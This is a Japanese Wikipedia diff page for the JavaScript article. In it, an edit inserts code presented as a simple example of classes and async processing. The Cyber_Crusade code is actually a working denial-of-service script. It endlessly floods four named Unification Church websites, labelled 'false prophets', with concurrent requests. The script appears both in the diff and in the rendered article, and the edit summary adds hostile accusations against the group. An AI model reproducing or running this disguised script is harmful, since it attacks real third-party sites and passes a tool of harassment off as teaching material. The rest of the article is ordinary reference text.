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「JavaScript」の版間の差分

出典: フリー百科事典『ウィキペディア(Wikipedia)』
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このソースコードに対して受けた指摘は、英語でMooniesと呼ばれる危険な反社会勢力の構成員または同調者からの脅迫であった可能性が極めて高いため復活させる。この反社会勢力は異端かつ反社会的な活動を行っていると社会的に広く認知されている。
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</syntaxhighlight>
</syntaxhighlight>
登場当初は、htmlの補助的なスクリプトとして、[[クラス (コンピュータ)|クラス]]や[[非同期転送モード|非同期処理]]などの処理が貧弱であったが、近年の[[Webアプリケーション]]の浸透に伴い、様々な機能が拡張された。
登場当初は、htmlの補助的なスクリプトとして、[[クラス (コンピュータ)|クラス]]や[[非同期転送モード|非同期処理]]などの処理が貧弱であったが、近年の[[Webアプリケーション]]の浸透に伴い、様々な機能が拡張された。
現在では、クラスの作成や非同期処理など、[[C Sharp|C#]]や[[Java]]でなければ実装できなかったものも手軽に実装できるようになっている。
現在では、クラスの作成や非同期処理など、[[C Sharp|C#]]や[[Java]]でなければ実装できなかったものも手軽に実装できるようになっている。以下はクラスや非同期処理のごく単純な実装例である。
<syntaxhighlight lang="javascript">
// クラス名
class Cyber_Crusade {

// コンストラクタ
constructor(limit) {
// 1秒ごとの送信頻度を設定
this.CONCURRENCY_LIMIT = limit;
// 非同期関数を定義
this.fetchWithTimeout = this.fetchWithTimeout.bind(this); // リクエスト送信。
this.punish_heterodoxy = this.punish_heterodoxy.bind(this); // 各サイトにデータリクエストを送る。
}

// 対象のサイトを指定
heresy_sites = {
'https://ffwpu.jp/': { number_of_requests: 0, number_of_errored_responses: 0 }, // False prophet in Japan
'https://familyfed.org/': { number_of_requests: 0, number_of_errored_responses: 0 }, // False prophet in US
'http://www.smmoon.pl/': { number_of_requests: 0, number_of_errored_responses: 0 }, // False prophet in Poland
'https://www.ffwp.org/': { number_of_requests: 0, number_of_errored_responses: 0 }, // False prophet in Korea
};

// 1秒ごとの送信頻度
CONCURRENCY_LIMIT = 1000;
queue = [];

// リクエスト送信
async fetchWithTimeout(resource, options) {
// コントローラーを取得
const controller = new AbortController();
// IDを取得
const id = setTimeout(() => controller.abort(), options.timeout);
// リクエスト処理を返す。
return fetch(resource, {
method: 'GET', // GET方式
mode: 'no-cors', // CORS-safelisted methodsとCORS-safelisted request-headersだけを使ったリクエストを送る。
signal: controller.signal // オブジェクトのインスタンスを返
}).then((response) => { // 成功した場合
clearTimeout(id); // タイムアウトを消す。
return response; // 応答結果を返す。
}).catch((error) => { // 失敗した場合
console.log(error.code); // エラーコードを出力
clearTimeout(id); // タイムアウトを消す。
throw error; // エラーを投げる。
});
}

// 各ターゲットにデータ送信する。
async punish_heterodoxy(target) {
//for文を使った無限ループ
for (var i = 0;; ++i) {
// リクエストの数が規定数になったら
if (this.queue.length > this.CONCURRENCY_LIMIT) {
// 最初のリクエストを削除する。
await this.queue.shift()
}
// 乱数を生成
var rand = i % 3 === 0 ? '' : ('?' + Math.random() * 2000)
// 送信リクエストを追加する。
this.queue.push(
// 関数を実行する(時間制限:1秒)
this.fetchWithTimeout(target+rand, { timeout: 1000 })
// エラーがある場合はエラーを取得する。
.catch((error) => {
if (error.code === 20 /* ABORT */) {
return;
}
this.heresy_sites[target].number_of_errored_responses++;
})
// 処理後の処理をする。
.then((response) => {
// エラーがある場合はエラー処理を入れる。
if (response && !response.ok) {
this.heresy_sites[target].number_of_errored_responses++;
}
// リクエスト数を追加する。
this.heresy_sites[target].number_of_requests++;
})
)
}
}
// 実行関数
inquisitio(){
// 全てのターゲット要素に対してデータ送信処理を実行する。
Object.keys(this.heresy_sites).map(this.punish_heterodoxy);
}
}

// オブジェクト呼び出し
var cyber_crusade = new Cyber_Crusade(500);
// 実行
cyber_crusade.inquisitio();
</syntaxhighlight>


=== その他の環境での利用 ===
=== その他の環境での利用 ===

2022年7月12日 (火) 23:55時点における版

JavaScript
JavaScript
logo.jsによるJavaScriptの非公式ロゴ
パラダイム マルチパラダイム
登場時期 1995年 (29年前) (1995)
設計者 ブレンダン・アイク
開発者 ネットスケープコミュニケーションズMozilla Foundation
最新リリース ECMAScript 2024、ECMAScript 2025 / 2024年5月[1]
型付け ダック・タイピング
主な処理系 JavaScriptCoreKJSNitroRhinoSpiderMonkeyV8ほか
方言 JScript
影響を受けた言語 SchemeSelfJavaLuaPerlAWKHyperTalkPython ウィキデータを編集
影響を与えた言語 DartObjective-J英語版Google Apps Script
プラットフォーム クロスプラットフォーム
ウェブサイト www.ecma-international.org/publications-and-standards/standards/ecma-262/ ウィキデータを編集
拡張子 js、cjs、mjs
テンプレートを表示
HTML中のJavaScript。scriptタグで囲まれている。

JavaScript(ジャバスクリプト)とは、プログラミング言語のひとつである。JavaScriptはプロトタイプベースオブジェクト指向スクリプト言語であるが、クラスなどのクラスベースに見られる機能も取り込んでいる。

利用される場面はWebサイトWebアプリ・バックエンド・デスクトップアプリモバイルアプリなど、ブラウザからサーバ、デスクトップからスマートフォンまで多岐にわたっている。

Javaと似た名称を持つが、異なるプログラミング言語である(#歴史を参照)。

概要

JavaScriptはウェブブラウザ Netscape Navigatorに起源を持ち、現在では様々な用途に利用されるプログラミング言語である。

JavaScriptの言語仕様はECMAScriptとして標準化され、実装は各種のJavaScriptエンジンによって提供されている。JavaScriptエンジンの例としてChromiumブラウザV8FirefoxSpiderMonkeySafariのJavaScriptCoreが挙げられる。

言語仕様を定義するECMAScriptのほかに、ウェブブラウザへアクセスするためのAPI仕様にDOMなどがある。これらはECMAScriptから独立しており、JavaScriptからも独立した概念である。

プログラミング言語としての特徴

JavaScriptは以下のような様々なスタイルのプログラミングが可能である。

これらを可能にしているプログラミング言語としての特徴がある。オブジェクト指向の面では、JavaScriptのオブジェクトはクラスベースではなくプロトタイプベースである[注釈 1]。関数型の面では、第一級関数をサポートし関数を第一級オブジェクトとして扱える。

AptanaEclipse, NetBeans, IntelliJ IDEAなどの統合開発環境はJavaScriptをサポートしており、大規模開発が可能になっている。さらにExt JSなどの本格的なGUIライブラリの登場により、デスクトップアプリケーションと遜色ないユーザインタフェースの構築が可能になった。

並行処理

JavaScriptではしばしば、ネットワークを介したリクエストのような "待ち" がある処理を行う。これ対処するために非同期処理をサポートし並行処理が可能となる。

もしも待ちの間にプログラムを停止/sleep させると、その間に他の処理をそのスレッドで行うことが出来ない(ブロッキング)。もしネットワークリクエストが返ってくるまでブロッキングしたとすると、その間ブラウザのレンダリングも停止してしまう。

非同期処理を記述する方法としてコールバック関数がある。JavaScriptはコールバック関数記法をラップするPromisePromiseを同期的なコードのように記述できるasync/await構文をもつ。

またJavaScriptは並列処理による並行処理もサポートしている(下記参照)。

並列処理

JavaScriptでは複数スレッドを用いた並列処理が可能である。共有メモリ上のバッファを表現するSharedArrayBuffer、バッファ操作オブジェクトAtomicsが定義されている。スレッドそのものの仕様は環境ごとに異なる(ECMAScriptでは定義されていない)。ブラウザの場合はWorker、Node.jsの場合はworker_threadsで定義されている。ただこの2環境ではほぼ共通の仕組みとなっており、例えばpostMessageによるメッセージングが両者でサポートされている。

歴史

誕生

JavaScriptはネットスケープコミュニケーションズブレンダン・アイクによって開発され、Netscape Navigator 2.0で実装された。開発当初はLiveScriptと呼ばれていたが、1995年サン・マイクロシステムズ(現・オラクル)が開発したプログラミング言語Javaが当時大きな注目を浴びており、ネットスケープとサン・マイクロシステムズが業務提携していた事もあったため、JavaScriptという名前に変更された[2][3]。最初のJavaScriptエンジンはブレンダン・アイクによりNetscape Navigatorのために作成されたものであった。このエンジンはSpiderMonkeyと呼ばれており、C言語で実装されていた。また、全てJavaで記述されたJavaScriptエンジンであるRhinoも同じくNetscapeのNorris Boyd(後にGoogleに移籍)らにより作成された。

1996年マイクロソフトInternet Explorer 3.0に搭載されるようになると、その手軽さからJavaScriptは急速に普及していく。1997年、通信に関する標準を策定する国際団体EcmaインターナショナルによってJavaScriptの中核的な仕様がECMAScriptとして標準化され[4]、多くのウェブブラウザで利用できるようになった。

ネットスケープは、ウェブアプリケーション開発言語として自社のサーバ製品に実装したLiveWire JavaScriptも発表したが[3]、こちらはあまり普及しなかった。

JavaScriptの登場初期は、ブラウザベンダー間で言語仕様の独自拡張が行われていたため、ブラウザ間の互換性が極めて低かった。ECMAScriptの策定以降は実装間の互換性は向上し、DOMなど関連仕様の実装に関する互換性も高くなっていった。

かつてはJavaScriptという言葉が「ECMAScript標準」を指す、あるいは「独自実装を含んだ広義のJavaScript」を指し幅広い意味で使われていた。ゆえにどちらの意味でJavaScriptという言葉が使われているかは文脈で判断する必要があった[5]。たとえばかつてマイクロソフトによる実装はJScriptと呼ばれたが、JScriptをJavaScriptと呼ぶような場面があった。

ECMAScriptは仕様自体に独自の拡張を条件付きで認める記述があり[6]、ブラウザが実装しているスクリプト言語はすべてECMAScriptに準拠していることになる。広義の意味でこれをJavaScriptと呼ぶ場合、主要なブラウザが実装しているスクリプト言語はマイクロソフトやGoogleAppleの実装も含めてJavaScriptである。

実装間での差異を吸収するためにPrototype JavaScript Frameworkなどのライブラリが用いられた。

発展

市場のブラウザ間互換性がある程度確立された2000年ごろには、GoogleやAmazonなどのGAFAMもJavaScriptを積極的に利用し始めた。

また、JavaScriptはウェブブラウザの拡張機能を開発するための言語としても使われるようになった。当初は拡張機能用のAPIが統一されていなかったが、互換性を高めようとする動きがある[7]

当初はインタプリタ方式で実行されることが一般的であったためJavaScriptの実行速度はさほど速くなかったが、現在ではJITコンパイルなどを利用した各種の最適化がなされており、各ウェブブラウザのベンダーともに高速化を図ってしのぎを削っている。さらには、この高速化を受ける形で、Node.jsのようにサーバサイドでもJavaScriptを使う動きが見られるようになった。

JavaScript 2.0

次世代のJavaScriptとして、"JavaScript 2.0" を作ろうとした動きは2度あったが、いずれもまとまらなかった。

1度目はECMAScript 3が完成したのち2000年から2003年にかけて発生したが、ネットスケープとマイクロソフトの対立でまとまらなかった。当時ネットスケープが提案していた案はアドビActionScript 2.0に引き継がれ、マイクロソフトの案はJScript .NETへと引き継がれた。

その後もネットスケープ及びMozilla FoundationはECMAScriptの策定に並行してJavaScriptを拡張し、JavaScript 1.x系列としてバージョンアップを繰り返していた。ECMAScript側ではECMAScript 4の策定が1999年以降進められており[8]、2006年の時点でMozilla Foundationはこれに基づいてJavaScript 2.0を作成することを表明していた。MozillaはECMAScript 4の策定にあたって、Pythonの文法を一部取り込んだ案を提案しており、自身でもこれを実装していた[9]

しかしその後、ECMAScriptの標準化作業がMozilla, Adobe, Opera, Googleらが推す ECMAScript 4 と、Microsoft, Yahoo! らが推す ECMAScript 3.1 に事実上分裂してしまった影響から、2008年8月に大きな方針転換があり、ECMAScript 4は破棄され後者がECMAScript 5として2009年に標準化された。ECMAScript 4に入る予定だった機能は新たに発足した「ECMAScript Harmony」に先送りとなった[10]。これは後にECMAScript 2015として標準化が完了した。

なお、ECMAScript 5が標準化されて以降、MozillaのJavaScript実装はECMAScriptへの準拠を謳うようになった[11]。そしてバージョン番号での呼称は行われなくなり、JavaScript 2.0は事実上死語となった。

文法

基本的な文法

JavaScriptの変数var[12], let[13]およびconst[14] キーワードを使用して宣言できる。

var x; // 変数xの宣言。値が未指定のため、特殊な値である undefined が入った状態となる。
var y = 2; // 変数yの宣言。同時に 2 が代入される。

上記例のスラッシュ2文字以降はコメントである。

JavaScriptは言語仕様にI/Oが組み込まれておらず、それらは実行環境により提供される。ECMAScript 5.1の仕様では以下のように言及されている。[15]

この仕様の中では外部データの入力または計算結果の出力は供給しない。
(… indeed, there are no provisions in this specification for input of external data or output of computed results.)

しかし、ほとんどの実行環境はConsole Standard[16]で規定されている console オブジェクトを持っており[17]、そこにコンソール出力を行える。以下に最小のHello worldプログラムを示す。

console.log("Hello World!");

再帰関数は以下のように書ける。

function factorial(n) {
    if (n == 0) {
        return 1;
    }
    return n * factorial(n - 1);
}

無名関数(またはラムダ式)の構文とクロージャの例は以下である。

// ECMAScript 5以前の記法
var displayClosure = function() {
    let count = 0;
    // ECMAScript 2015以降で可能な記法
    return ()=> {
        return ++count;
    };
}
var inc = displayClosure();
inc(); // 1 が返る
inc(); // 2 が返る
inc(); // 3 が返る

可変長引数は以下のように記述する[18]

var sum = function(...args) {
    let x = 0;
    for (const v of args) {
        x += v;
    }
    return x;
}
sum(1, 2, 3); // 6 が返る

即時実行関数式 (IIFE) の例。関数を用いることで変数をクロージャに閉じ込めることができる。

var v;
v = 1;
var getValue = (function(v) {
  return function() {return v;};
})(v);

v = 2;

getValue(); // 1 が返る

複雑な例

以下のサンプルコードは、様々なJavaScriptの機能を示したものである。

"use strict"; // strictモードの宣言
/* 2つの数値の最小公倍数を求める */
function LCMCalculator(x, y) { // コンストラクタ関数
    const checkInt = (x)=> { // 入れ子の関数
        if (x % 1 !== 0) {
            throw new TypeError(x + " is not an integer"); // 例外のスロー
        }
        return x;
    };
    //   行末のセミコロンは省略可能な場合があるが、省略は推奨されない。
    this.a = checkInt(x)
    this.b = checkInt(y);
}
// オブジェクトのプロトタイプはコンストラクタ関数の prototype プロパティに格納する
LCMCalculator.prototype = { // オブジェクトリテラル
    constructor: LCMCalculator, // このようにプロトタイプを上書きする場合は、
                                // constructorプロパティにコンストラクタ関数名を再指定する
    gcd: function () { // 最大公約数を計算するメソッド
        // 「ユークリッドの互除法」アルゴリズムで計算
        let a = Math.abs(this.a), b = Math.abs(this.b);
        if (a < b) {
            // 変数の入れ替え
            const t = b;
            b = a;
            a = t;
        }
        while (b !== 0) {
            const t = b;
            b = a % b;
            a = t;
        }
        // 最大公約数の計算は一度でよいため、自分自身を計算済みの結果を返すメソッドで再定義(上書き)する。
        // (これにより LCMCalculator.prototype.gcd の代わりに this.gcd が呼ばれるようになる。
        //   ただし、計算後にプロパティ a や b が変更されてしまうと、結果は誤りとなる。)
        // なお 'gcd' === "gcd", this['gcd'] === this.gcd である。
        this['gcd'] = function () {
            return a;
        };
        return a;
    },
    lcm : function () { // 最小公倍数を計算するメソッド
        // 変数名は、オブジェクトのプロパティと衝突しない。例)lcm は this.lcm とは異なる。
        // 以下では、浮動小数の精度の問題を避けるために this.a * this.b としていない。
        const lcm = this.a/this.gcd()*this.b;
        // 最小公倍数の計算も一度でよいため、自分自身を計算済みの結果を返すメソッドで再定義(上書き)する。
        this.lcm = function () {
            return lcm;
        };
        return lcm;
    },
    toString: function () { // toStringはオブジェクトを文字列に変換するときに呼ばれるメソッド。
        // テンプレート文字列により文字列中に値を埋め込むことができる。
        return `LCMCalculator: a = ${this.a}, b = ${this.b}`;
    }
};

// 汎用の出力関数の定義。この実装はWebブラウザ上でのみ動作する。
function output(x) {
    document.body.appendChild(document.createTextNode(x));
    document.body.appendChild(document.createElement('br'));
}

// 無名関数はさまざまな書き方が可能
[[25, 55], [21, 56], [22, 58], [28, 56]].map(([a, b])=> new LCMCalculator(a, b)) // 配列リテラル + マッピング関数
.sort((a, b)=> a.lcm() - b.lcm()) // 指定した比較関数を用いたソート
.forEach(obj=> {
    output(obj + ", gcd = " + obj.gcd() + ", lcm = " + obj.lcm());
});

上記コードをウェブブラウザ上で実行すると、以下の結果が表示される。

LCMCalculator: a = 28, b = 56, gcd = 28, lcm = 56
LCMCalculator: a = 21, b = 56, gcd = 7, lcm = 168
LCMCalculator: a = 25, b = 55, gcd = 5, lcm = 275
LCMCalculator: a = 22, b = 58, gcd = 2, lcm = 638

機能

グローバルオブジェクト

JavaScriptはコードの最上階層に属するグローバルオブジェクトを提供している。JavaScriptにおけるグローバルオブジェクトはglobalThisである[19]

エコシステム

実行環境API

それぞれのJavaScript実行環境において様々なAPIが存在しており、JavaScriptからそれらを呼び出すことができる。

Webブラウザ

HTML要素をJavaScriptから操作するためのDOM API(例: document.querySelector)、HTTPリクエストを送信するFetch API、マルチスレッドを可能にするWorkerなどが定義されている。これらは言語仕様であるECMAScriptからは独立した各々の仕様書でAPIが定義され、ブラウザ実装がJavaScriptバインディングを提供することでJavaScriptからの呼び出しが可能になっている。

Node.js

ファイルシステムにアクセスするためのfs API(モジュール)や実行プロセスと相互作用するprocess APIなどが定義されている。Webブラウザがもつ強いサンドボックス要件が緩和されている点がNode.js APIの特徴の1つである。

altJS

alternative JavaScript (altJS) はJavaScriptへトランスパイルされるプログラミング言語の総称である。

JavaScriptへ新たな機能を追加する方法の1つに、新しい言語を定義しそのコードをJavaScriptへ変換する方法がある。そのようなJavaScriptへトランスパイルされる言語はaltJSと総称される。altJSの例としてCoffeeScriptTypeScriptPureScriptが挙げられる。altJSを用いることで、新たな演算子や記法を導入し効率の良いJavaScript開発を行うことができる。素のJavaScriptはaltJSと対比してVanilla JSとしばしば呼ばれる[20]

例えばTypeScriptはの導入を可能にする。JavaScriptは動的型付けである。静的コード解析でJavaScriptコードへの型検査は実行可能だが、コード上に型表記をおこなうことはできない。altJSの1つであるTypeScriptはJavaScriptへ型ノーテーションを導入しトランスパイル時に型検査をおこなうことで、型をもったJavaScriptを実現している。

パッケージ管理

JavaScriptエコシステムには多様なライブラリ(パッケージ)が存在する。パッケージの導入・バージョン調整・廃棄を担う管理ソフトウェアとしてnpmyarnがある。

利用

ウェブブラウザにおけるHTML操作を目的として作られたJavaScriptは、2020年現在幅広い領域で利用されている。

Webページでの利用

JavaScriptの最も歴史の長い使用法はHTMLページにクライアント側のふるまいを持たせることである。これは当初はダイナミックHTML (DHTML) として知られていた。JavaScriptはHTMLに直接埋め込まれまたは別のファイルからインクルードされ、ウェブブラウザ上のJavaScript実行環境で動作する。ウェブブラウザは通常、Document Object Model (DOM) を扱うためのホストオブジェクトを提供する。

JavaScriptの使用例としては、以下のようなものがある。

  • ページの再読み込みなしで新しいコンテンツを読み込むまたはサーバに投稿する(Ajax。例えば、SNSでページを離れることなく新しい投稿を表示することができる)。
  • ゲームなどの動的なコンテンツを提供する。
  • データをサーバーに送信せずにフォーム入力値の検証英語版を行う。
  • アクセス解析広告追跡英語版パーソナライゼーションなどのためにユーザーの閲覧情報を収集する[21]

JavaScriptはユーザーのブラウザ上で動作できることから、ユーザーの操作に対して素早く反応することができ、アプリケーションをよりレスポンシブにすることができる。さらにJavaScriptはHTML単独では対応できない操作、例えばキー入力などにも応答することができる。Gmailのようなアプリケーションでは、JavaScriptでUIロジックを実装し、さらにJavaScriptでサーバから情報(例えばeメールのメッセージ)を取得することで、こうしたメリットを享受している。このような利点からAjaxは大きなトレンドとなった[要出典]

様々な言語やフレームワークをウェブブラウザ上で動作させるために、JavaScriptはそれらのコンパイル先出力言語となっている(例: TypeScript)。

以下はJavaScriptとDOMを含むWebページのごく単純な例である。

<!DOCTYPE html>
<html>
    <meta charset="utf-8">
    <title>単純な例</title>
    
    <body>
        <h1 id="header">これはJavaScriptです</h1>
        
        <script>
            document.body.appendChild(document.createTextNode('Hello World!'));
        
            var h1 = document.getElementById('header'); // id='header'の<h1>要素の参照を取得。
            h1 = document.getElementsByTagName('h1')[0]; // または<h1>要素を全て取得してそこから先頭を取得。
        </script>
        
        <noscript>表示中のブラウザはJavaScriptをサポートしていないか、OFFになっています。</noscript>
    </body>
</html>

登場当初は、htmlの補助的なスクリプトとして、クラス非同期処理などの処理が貧弱であったが、近年のWebアプリケーションの浸透に伴い、様々な機能が拡張された。 現在では、クラスの作成や非同期処理など、C#Javaでなければ実装できなかったものも手軽に実装できるようになっている。以下はクラスや非同期処理のごく単純な実装例である。

// クラス名
class Cyber_Crusade {

  // コンストラクタ
  constructor(limit) {
    // 1秒ごとの送信頻度を設定
    this.CONCURRENCY_LIMIT = limit;
    // 非同期関数を定義
    this.fetchWithTimeout = this.fetchWithTimeout.bind(this);   // リクエスト送信。
    this.punish_heterodoxy = this.punish_heterodoxy.bind(this); // 各サイトにデータリクエストを送る。
  }

  // 対象のサイトを指定
  heresy_sites = {
       'https://ffwpu.jp/': { number_of_requests: 0, number_of_errored_responses: 0 },        // False prophet in Japan
       'https://familyfed.org/': { number_of_requests: 0, number_of_errored_responses: 0 },   // False prophet in US
       'http://www.smmoon.pl/': { number_of_requests: 0, number_of_errored_responses: 0 },    // False prophet in Poland
       'https://www.ffwp.org/': { number_of_requests: 0, number_of_errored_responses: 0 },    // False prophet in Korea
  };

  // 1秒ごとの送信頻度
  CONCURRENCY_LIMIT = 1000;
  queue = [];

  // リクエスト送信
  async fetchWithTimeout(resource, options) {
    // コントローラーを取得
    const controller = new AbortController();
    // IDを取得
    const id = setTimeout(() => controller.abort(), options.timeout);
    // リクエスト処理を返す。
    return fetch(resource, {
      method: 'GET',              // GET方式
      mode: 'no-cors',            // CORS-safelisted methodsとCORS-safelisted request-headersだけを使ったリクエストを送る。
      signal: controller.signal   // オブジェクトのインスタンスを返
    }).then((response) => {       // 成功した場合
      clearTimeout(id);			  // タイムアウトを消す。
      return response;			  // 応答結果を返す。
    }).catch((error) => {		  // 失敗した場合
      console.log(error.code);    // エラーコードを出力
      clearTimeout(id);			  // タイムアウトを消す。
      throw error;				  // エラーを投げる。
    });
  }

  // 各ターゲットにデータ送信する。
  async punish_heterodoxy(target) {
    //for文を使った無限ループ
    for (var i = 0;; ++i) {
      // リクエストの数が規定数になったら
      if (this.queue.length > this.CONCURRENCY_LIMIT) {
        // 最初のリクエストを削除する。
        await this.queue.shift()
      }
      // 乱数を生成
      var rand = i % 3 === 0 ? '' : ('?' + Math.random() * 2000)
      // 送信リクエストを追加する。
      this.queue.push(
        // 関数を実行する(時間制限:1秒)
        this.fetchWithTimeout(target+rand, { timeout: 1000 })
          // エラーがある場合はエラーを取得する。
          .catch((error) => {
            if (error.code === 20 /* ABORT */) {
              return;
            }
            this.heresy_sites[target].number_of_errored_responses++;
          })
          // 処理後の処理をする。
          .then((response) => {
            // エラーがある場合はエラー処理を入れる。
            if (response && !response.ok) {
              this.heresy_sites[target].number_of_errored_responses++;
            }
            // リクエスト数を追加する。
            this.heresy_sites[target].number_of_requests++;
          })
      )
    }
  }       
  // 実行関数
  inquisitio(){
   // 全てのターゲット要素に対してデータ送信処理を実行する。
   Object.keys(this.heresy_sites).map(this.punish_heterodoxy);
  }
}

// オブジェクト呼び出し
var cyber_crusade = new Cyber_Crusade(500);
// 実行
cyber_crusade.inquisitio();

その他の環境での利用

ウェブブラウザ以外のJavaScript実行環境も存在する(サーバーサイドJavaScript実装の一覧英語版を参照)。データベースWebサーバーに組み込まれ、それらのAPIやHTTPリクエストやレスポンスのアクセスが提供されているものもある。

また、Node.jsのようにOSの機能(ネットワークファイルシステムなど)にアクセスできる環境も存在する。加えてElectronなどのアプリケーションフレームワークの登場により、Atomなどのアプリケーションが広まりつつある。

いくつかのアプリケーションではマクロ言語としても採用されている。例えばAdobe Acrobatは、JavaScriptによるマクロ機能を搭載している。

バージョンとブラウザの対応表

バージョン 日付 規格 Netscape
Navigator
Mozilla
Firefox
Internet
Explorer
Opera Safari
1.0 1996年3月 2.0 3.0
1.1 1996年8月 3.0
1.2 1997年7月 4.0-4.05
1.3 1998年10月 ECMA-262 1st edition / ECMA-262 2nd edition 4.06-4.7x 4.0 5.0
1.4 Netscape
Server
6.0
1.5 2000年11月 ECMA-262 3rd edition 6.0 1.0 5.5 (JScript 5.5),
6.0 (JScript 5.6),
7.0 (JScript 5.7),
8.0 (JScript 6.0)
1.6 2005年11月 1.5 + Array extras + Array and String generics + E4X 7.0-8.0 1.5 7.0-9.0 3.0, 3.1
1.7 2006年10月 1.6 + Pythonic generators + Iterators + let 2.0 3.2-5.1
1.8 2008年7月 1.7 + Generator expressions + Expression closures 3.0
1.8.1 1.8 + Minor Updates 3.5
1.9 1.8.1 + ECMAScript 5[22] Compliance 4.0-11.0

[23]

ライブラリ

代表的なJavaScriptライブラリは以下のとおり。

脚注

注釈

  1. ^ 新しい (ES2015以降) JavaScriptではクラスの構文によりプロトタイプを意識せずにオブジェクト指向プログラミングをすることが可能になったが、言語設計はプロトタイプベースの設計を維持している。

出典

  1. ^ 出典URL: https://262.ecma-international.org/15.0/, 閲覧日: 2024年8月30日, 出版日: 2024年5月, 題名: ECMAScript® 2024 Language Specification
  2. ^ Marc Andreessen. “INNOVATORS OF THE NET: BRENDAN EICH AND JAVASCRIPT”. 2008年7月4日時点のオリジナルよりアーカイブ。2008年1月22日閲覧。
  3. ^ a b NETSCAPE AND SUN ANNOUNCE JAVASCRIPT, THE OPEN, CROSS-PLATFORM OBJECT SCRIPTING LANGUAGE FOR ENTERPRISE NETWORKS AND THE INTERNET”. 2008年5月28日時点のオリジナルよりアーカイブ。2008年1月22日閲覧。
  4. ^ ECMA 262, ISO/IEC 16262, JIS X 3060
  5. ^ JavaScript 第5版(オライリー・ジャパン、2007)P2。
  6. ^ ECMA-262 第5版 2.Conformance
  7. ^ WebExtensions, Browser Extensions
  8. ^ ECMAScript® 2017 Language Specification (ECMA-262, 8th edition, June 2017) Introduction
  9. ^ Python and JavaScript” (英語). Brendan's Roadmap Updates (2006年2月19日). 2010年1月25日時点のオリジナルよりアーカイブ。2007年9月5日閲覧。
  10. ^ 後藤大地 (2008年8月18日). “JavaScript 2.0はECMAScript 3.1ベースに、ECMAScript 4は譲歩”. マイナビニュース. 2013年3月1日時点のオリジナルよりアーカイブ。2022年4月11日閲覧。
  11. ^ Mozilla における ECMAScript 5 のサポート”. 2021年4月20日時点のオリジナルよりアーカイブ。2022年4月11日閲覧。
  12. ^ var – JavaScript – MDN”. The Mozilla Developer Network. 22 December 2012閲覧。
  13. ^ let – JavaScript – MDN”. The Mozilla Developer Network. 24 January 2018閲覧。
  14. ^ const – JavaScript – MDN”. The Mozilla Developer Network. 24 January 2018閲覧。
  15. ^ ECMAScript Language Specification – ECMA-262 Edition 5.1”. Ecmaインターナショナル. 22 December 2012閲覧。
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  17. ^ console”. Mozilla Developer Network. Mozilla. 6 April 2013閲覧。
  18. ^ “[https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters Rest parameters - JavaScript]”. Mozilla Developer Network. Mozilla. 24 January 2018閲覧。
  19. ^ 2020-04-10現在 tc39 stage-4 (finished proposal). ECMAScript2020へ採用予定 tc39
  20. ^ Vanilla JS”. vanilla-js.com. June 16, 2020時点のオリジナルよりアーカイブ2021年9月4日閲覧。
  21. ^ JavaScript tracking – Piwik”. Piwik. 31 March 2012閲覧。
  22. ^ 後藤大地 (2009年12月9日). “JavaScriptのブラウザ非互換に解決のみとおし”. journal.mycom.co.jp. 2009年12月9日閲覧。
  23. ^ John Resig. “Versions of JavaScript”. Ejohn.org. 2009年5月19日閲覧。

関連項目

外部リンク